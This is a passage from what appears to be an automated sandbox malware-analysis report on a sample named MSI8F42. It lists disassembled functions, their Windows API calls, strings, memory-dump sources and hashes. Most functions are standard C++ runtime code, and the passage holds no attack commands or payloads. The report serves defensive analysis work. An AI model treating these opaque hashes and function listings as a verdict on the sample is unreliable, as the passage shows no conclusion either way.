Instruction ID: 2c58f2bb72de0643e5810d6c972c278b84e3d119fea7cd0e78c821ddf637f2ae
Opcode Fuzzy Hash: c4c7f6d45945aebe5121979a08fa6d6452fc600284b71bd9f4cf52e97efe3520
Instruction Fuzzy Hash: 6451C4B2605B06DFDB2F8F54D841BEA77A4EF88311F158529E8059B691E731ECC0C790

Function 002F36D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 002F3735
GetLastError.KERNEL32(?,?,?,00334215,000000FF), ref: 002F381A

Part of subcall function 002F2310: GetProcessHeap.KERNEL32 ref: 002F2365

Part of subcall function 002F46F0: FindResourceExW.KERNEL32(00000000,00000006,?,00000000,00000000,?,?,?,?,002F3778,-00000010,?,?,?,00334215,000000FF), ref: 002F4736

_wcschr.LIBVCRUNTIME ref: 002F37C6
LoadLibraryExW.KERNEL32(?,00000000,00000000,?,?,00334215,000000FF), ref: 002F37DB

Strings

ntdll.dll, xrefs: 002F37B3

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: DirectoryErrorFindHeapLastLibraryLoadProcessResourceSystem_wcschr
String ID: ntdll.dll
API String ID: 3941625479-2227199552
Opcode ID: 7dda589592918b13ee7a232aef8925e06c46019b1fd6fbf27ea5dee462ba848d
Instruction ID: cdc8df5c7c10c8a2468d116f059e7114bdc06e5d1e0d30cf5a11ac0ddb4c8ad7
Opcode Fuzzy Hash: 7dda589592918b13ee7a232aef8925e06c46019b1fd6fbf27ea5dee462ba848d
Instruction Fuzzy Hash: 9F41A4B1A1060A9FDB14EF68CC45BBEF7E4FF14350F144629EA16D7281EBB4AA14CB50

Function 0030D3CB Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0030D3D2

Part of subcall function 0030254E: __EH_prolog3.LIBCMT ref: 00302555
Part of subcall function 0030254E: std::_Lockit::_Lockit.LIBCPMT ref: 0030255F
Part of subcall function 0030254E: std::_Lockit::~_Lockit.LIBCPMT ref: 003025D0

_Find_elem.LIBCPMT ref: 0030D46E

Strings

%.0Lf, xrefs: 0030D419
21, xrefs: 0030D425
0123456789-, xrefs: 0030D41E

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Find_elemH_prolog3H_prolog3_Lockit::_Lockit::~_
String ID: 21$%.0Lf$0123456789-
API String ID: 2544715827-1972204205
Opcode ID: 582adda944c7a5100f0e179f63401c1aeb4a4cf6e460876231fc43951fce3688
Instruction ID: 9d291816d6cebe71ab377a9e61d7a9cdc55d13185d079e08bd6234f2cc1805ad
Opcode Fuzzy Hash: 582adda944c7a5100f0e179f63401c1aeb4a4cf6e460876231fc43951fce3688
Instruction Fuzzy Hash: F9416D31911218DFCF16DFE4C891ADDBBB5FF08314F100159E801AB296DB70EA56CB91

Function 0030D66F Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0030D676

Part of subcall function 002F8610: std::_Lockit::_Lockit.LIBCPMT ref: 002F8657
Part of subcall function 002F8610: std::_Lockit::_Lockit.LIBCPMT ref: 002F8679
Part of subcall function 002F8610: std::_Lockit::~_Lockit.LIBCPMT ref: 002F86A1
Part of subcall function 002F8610: std::_Lockit::~_Lockit.LIBCPMT ref: 002F880E

_Find_elem.LIBCPMT ref: 0030D712

Strings

0123456789-, xrefs: 0030D6C2
0123456789-, xrefs: 0030D6BD
21, xrefs: 0030D6C9

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 21$0123456789-$0123456789-
API String ID: 3042121994-155559277
Opcode ID: 86ae86440c6d7f2642ee962f0f5d1dc8a2619dd363d6c37ca644e013a9bb3fd8
Instruction ID: fb1221e3e1024c47a01fe79725a1f3fb68f6911bd65d09e648768eb1573eb139
Opcode Fuzzy Hash: 86ae86440c6d7f2642ee962f0f5d1dc8a2619dd363d6c37ca644e013a9bb3fd8
Instruction Fuzzy Hash: 53417C7191121CDFCF06EFE4C880AEEBBB5BF08350F500069E911AB295DB719A56CF91

Function 0031175A Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00311761

Part of subcall function 002F9270: std::_Lockit::_Lockit.LIBCPMT ref: 002F92A0
Part of subcall function 002F9270: std::_Lockit::_Lockit.LIBCPMT ref: 002F92C2
Part of subcall function 002F9270: std::_Lockit::~_Lockit.LIBCPMT ref: 002F92EA
Part of subcall function 002F9270: std::_Lockit::~_Lockit.LIBCPMT ref: 002F9422

_Find_elem.LIBCPMT ref: 003117FB

Strings

0123456789-, xrefs: 003117A8
21, xrefs: 003117B4
0123456789-, xrefs: 003117AD

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Find_elemH_prolog3_
String ID: 21$0123456789-$0123456789-
API String ID: 3042121994-155559277
Opcode ID: 8c31a09abbfc657a830d2e3d98e071c60e3c3a5bc7fc7b9206058029fda20ed7
Instruction ID: 49c8360ce6a51143a02c024b23ce0d4e9ed19cfcafe225e477adf0eeb7285ff3
Opcode Fuzzy Hash: 8c31a09abbfc657a830d2e3d98e071c60e3c3a5bc7fc7b9206058029fda20ed7
Instruction Fuzzy Hash: BC415E3191120DDFCF1ADFA4D881AEEBBB5BF08314F10445AF911AB251DB349A56CF51

Function 002F621F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 77libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 002F1A20: LocalFree.KERNEL32(?), ref: 002F1A42

Part of subcall function 00313E5A: RaiseException.KERNEL32(E06D7363,00000001,00000003,002F1434,?,?,002FD341,002F1434,00348B5C,?,002F1434,?,00000000), ref: 00313EBA

GetCurrentProcess.KERNEL32(7642E7B1,7642E7B1,?,?,00000000,00334981,000000FF), ref: 002F62EB

Part of subcall function 00312C98: EnterCriticalSection.KERNEL32(0034DD3C,?,?,?,002F23B6,0034E638,7642E7B1,?,?,00333D6D,000000FF), ref: 00312CA3
Part of subcall function 00312C98: LeaveCriticalSection.KERNEL32(0034DD3C,?,?,?,002F23B6,0034E638,7642E7B1,?,?,00333D6D,000000FF), ref: 00312CE0

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 002F62B0
GetProcAddress.KERNEL32(00000000), ref: 002F62B7

Part of subcall function 00312C4E: EnterCriticalSection.KERNEL32(0034DD3C,?,?,002F2427,0034E638,00336B40), ref: 00312C58
Part of subcall function 00312C4E: LeaveCriticalSection.KERNEL32(0034DD3C,?,?,002F2427,0034E638,00336B40), ref: 00312C8B
Part of subcall function 00312C4E: RtlWakeAllConditionVariable.NTDLL ref: 00312D02

Strings

IsWow64Process, xrefs: 002F62A6
kernel32, xrefs: 002F62AB

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentExceptionFreeHandleLocalModuleProcProcessRaiseVariableWake
String ID: IsWow64Process$kernel32
API String ID: 1333104975-3789238822
Opcode ID: 665803782879b6aadfe01105d892d2d1c779b7c5ec024da9282d8958e5da904b
Instruction ID: 8c683930a882b931ce2033a3889d34761e5e768b92856d9fcc60df2ff7054a38
Opcode Fuzzy Hash: 665803782879b6aadfe01105d892d2d1c779b7c5ec024da9282d8958e5da904b
Instruction Fuzzy Hash: 1B2102B2D04319EFCB12DFA4DD46BAEB7A8FB18B50F100225FA119B2D0DB786910CA51

Function 00308451 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00308458
_Getvals.LIBCPMT ref: 003084AA
_Mpunct.LIBCPMT ref: 003084E5
_Mpunct.LIBCPMT ref: 003084FF

Strings

$+xv, xrefs: 0030850A

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: Mpunct$GetvalsH_prolog3
String ID: $+xv
API String ID: 2204710431-1686923651
Opcode ID: 9933ecc51509b06d0949b492301ba7b8b43cb8f3f4ef3a3c08b0d73da0bca993
Instruction ID: 25f1d08acae7c2d14d36d5cc95ce2d3d5aca223b0fe1de97f7b39eefd198c3ee
Opcode Fuzzy Hash: 9933ecc51509b06d0949b492301ba7b8b43cb8f3f4ef3a3c08b0d73da0bca993
Instruction Fuzzy Hash: F221A7B1904B526EDB66DF79C49077BBEF8AB0C300F04495AE499C7A82D734D601CB90

Function 002F6250 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(7642E7B1,7642E7B1,?,?,00000000,00334981,000000FF), ref: 002F62EB

Part of subcall function 00312C98: EnterCriticalSection.KERNEL32(0034DD3C,?,?,?,002F23B6,0034E638,7642E7B1,?,?,00333D6D,000000FF), ref: 00312CA3
Part of subcall function 00312C98: LeaveCriticalSection.KERNEL32(0034DD3C,?,?,?,002F23B6,0034E638,7642E7B1,?,?,00333D6D,000000FF), ref: 00312CE0

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 002F62B0
GetProcAddress.KERNEL32(00000000), ref: 002F62B7

Part of subcall function 00312C4E: EnterCriticalSection.KERNEL32(0034DD3C,?,?,002F2427,0034E638,00336B40), ref: 00312C58
Part of subcall function 00312C4E: LeaveCriticalSection.KERNEL32(0034DD3C,?,?,002F2427,0034E638,00336B40), ref: 00312C8B
Part of subcall function 00312C4E: RtlWakeAllConditionVariable.NTDLL ref: 00312D02

Strings

IsWow64Process, xrefs: 002F62A6
kernel32, xrefs: 002F62AB

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionCurrentHandleModuleProcProcessVariableWake
String ID: IsWow64Process$kernel32
API String ID: 2056477612-3789238822
Opcode ID: 1d68002bc5bf2c68a792203a02946c1b0f765daf00b2f7c992da3d8d2a7fb27b
Instruction ID: 0af40bd3ee9421c8eb6a53a3f33c4965fae55b608f09ba71446cf20af3b8bb74
Opcode Fuzzy Hash: 1d68002bc5bf2c68a792203a02946c1b0f765daf00b2f7c992da3d8d2a7fb27b
Instruction Fuzzy Hash: 0011D2B6D08719EFCB12CF54DD45BAAB3A8F719B10F00026AED15972C0EB797900CA51

Function 003169E2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,00316AA3,?,?,0034DDCC,00000000,?,00316BCE,00000004,InitializeCriticalSectionEx,003397E8,InitializeCriticalSectionEx,00000000), ref: 00316A72

Strings

api-ms-, xrefs: 00316A32

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: e5a24ab697af91d6018712480cafbf9bec458ecc1978d6b2941aa8570bb602a9
Instruction ID: 050a7e6012cdda33d142e4f4fbde728b19193cde43bd16a67297e919cbb14be9
Opcode Fuzzy Hash: e5a24ab697af91d6018712480cafbf9bec458ecc1978d6b2941aa8570bb602a9
Instruction Fuzzy Hash: 7B11CA72A05225EBCF378BA89C42BD933A89F05770F164150F914FB2C0D770ED4086D5

Function 0030270D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00302714
std::_Lockit::_Lockit.LIBCPMT ref: 0030271E

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 0030276F
std::_Lockit::~_Lockit.LIBCPMT ref: 0030278F

Strings

21, xrefs: 0030277C

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 2478367bee76ea70619d581dfd9ba98298fa8894ad2997e652aeb2b4aa3dc0a9
Instruction ID: 14256a0935a975625645b74e5ed6ca53e0d0b23be3ba73d0056414ed41111c20
Opcode Fuzzy Hash: 2478367bee76ea70619d581dfd9ba98298fa8894ad2997e652aeb2b4aa3dc0a9
Instruction Fuzzy Hash: 8A01C435901119DBCB0BEB60C855BBEB774BF44710F25090AE814AF2D2CF709E018B91

Function 002FD752 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 002FD759
std::_Lockit::_Lockit.LIBCPMT ref: 002FD763

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 002FD7B4
std::_Lockit::~_Lockit.LIBCPMT ref: 002FD7D4

Strings

21, xrefs: 002FD7C1

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 82743eb4580f82140ba180b219dd8db2d11f889f1599618f261f1255647797aa
Instruction ID: 5dfd41ec60a5f2b97a6369e974764ab2b1219d44be3acb0f25aba08a54e2a90f
Opcode Fuzzy Hash: 82743eb4580f82140ba180b219dd8db2d11f889f1599618f261f1255647797aa
Instruction Fuzzy Hash: 7501C03691011E9BCB0AFF60C851ABEFBA6AF84750F240819EA116F2D1CF709E01CB91

Function 003027A2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003027A9
std::_Lockit::_Lockit.LIBCPMT ref: 003027B3

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 00302804
std::_Lockit::~_Lockit.LIBCPMT ref: 00302824

Strings

21, xrefs: 00302811

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 6d9026ca5f82aba6c50a2db10d714cfed5c5f5a64f0871c3e0f9f440364e9637
Instruction ID: 6675d57111599bfe36af3d33ec797f4ce4af0b08828251b4a8e198641f5f0b07
Opcode Fuzzy Hash: 6d9026ca5f82aba6c50a2db10d714cfed5c5f5a64f0871c3e0f9f440364e9637
Instruction Fuzzy Hash: 8B01C4399012199BCB1BEB64C865ABEB774BF84710F250409E904AF2D2CF309E05CB91

Function 002FD7E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 002FD7EE
std::_Lockit::_Lockit.LIBCPMT ref: 002FD7F8

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 002FD849
std::_Lockit::~_Lockit.LIBCPMT ref: 002FD869

Strings

21, xrefs: 002FD856

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 241da7bf13a4a3acfd3532387b2fa91dc477b77d7e3d2e038a55e0a9afbbfc55
Instruction ID: 47c6cc6d5df4d3e421ef15ab20d37f54b015b1ea09d22670f10423bd7e1368c7
Opcode Fuzzy Hash: 241da7bf13a4a3acfd3532387b2fa91dc477b77d7e3d2e038a55e0a9afbbfc55
Instruction Fuzzy Hash: 5E01C43591011D9BCB1AFF60D8527BEBBA5AF44790F240419E5016F2D1CF749E428F91

Function 00302837 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030283E
std::_Lockit::_Lockit.LIBCPMT ref: 00302848

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 00302899
std::_Lockit::~_Lockit.LIBCPMT ref: 003028B9

Strings

21, xrefs: 003028A6

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 6e737379b0e03c02e01f2f3d146d3d8607ee902dd84f1cbc8f839999a1236bd4
Instruction ID: 4531b24e287c44478619e57ac6307738fbddd793a716388e00aa202c4c299eea
Opcode Fuzzy Hash: 6e737379b0e03c02e01f2f3d146d3d8607ee902dd84f1cbc8f839999a1236bd4
Instruction Fuzzy Hash: 3101D639901129DBCB1BEB64C855BBEB7B5BF84710F254919F410AF2D2DF309E018B91

Function 003028CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 003028D3
std::_Lockit::_Lockit.LIBCPMT ref: 003028DD

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 0030292E
std::_Lockit::~_Lockit.LIBCPMT ref: 0030294E

Strings

21, xrefs: 0030293B

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: 2ae9df42ba0b348525f055ddc0dd79c732c6eccce2b2447c8ac1e009e22dd5b1
Instruction ID: 8251bbf8f281e121ed36bcc5710a058a330c44ece8e536669d29f8b76e195096
Opcode Fuzzy Hash: 2ae9df42ba0b348525f055ddc0dd79c732c6eccce2b2447c8ac1e009e22dd5b1
Instruction Fuzzy Hash: A0019235902219DBCB1BEB64D865ABEB7B5AF84720F250909F510AF2D1CF709E418B91

Function 0030E96D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030E974
std::_Lockit::_Lockit.LIBCPMT ref: 0030E97E

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 0030E9CF
std::_Lockit::~_Lockit.LIBCPMT ref: 0030E9EF

Strings

21, xrefs: 0030E9DC

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138428517.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2f0000_MSI8F42.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID: 21
API String ID: 2854358121-1316489359
Opcode ID: e4499255ad7555688781400432d8f98d2018425665a9ad3b269aa892baf86aa6
Instruction ID: 7869fe7c456c77d07744e8aed4f460e17d535030d92cffe792c71851cc55071c
Opcode Fuzzy Hash: e4499255ad7555688781400432d8f98d2018425665a9ad3b269aa892baf86aa6
Instruction Fuzzy Hash: C2018035A021199BCB1BEB64D862BBEB7A5BF84710F250909F510AF3D2CF749E41CB91

Function 0030EA02 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0030EA09
std::_Lockit::_Lockit.LIBCPMT ref: 0030EA13

Part of subcall function 002F8C20: std::_Lockit::_Lockit.LIBCPMT ref: 002F8C50
Part of subcall function 002F8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 002F8C78

std::_Facet_Register.LIBCPMT ref: 0030EA64
std::_Lockit::~_Lockit.LIBCPMT ref: 0030EA84

Strings

21, xrefs: 0030EA71

Memory Dump Source

Source File: 00000004.00000002.2138298368.00000000002F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000004.00000002.2138147487.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138375525.0000000000337000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2138409196.000000000034C000.00000004.00000001.01000000.00000003.sdmpDownload File
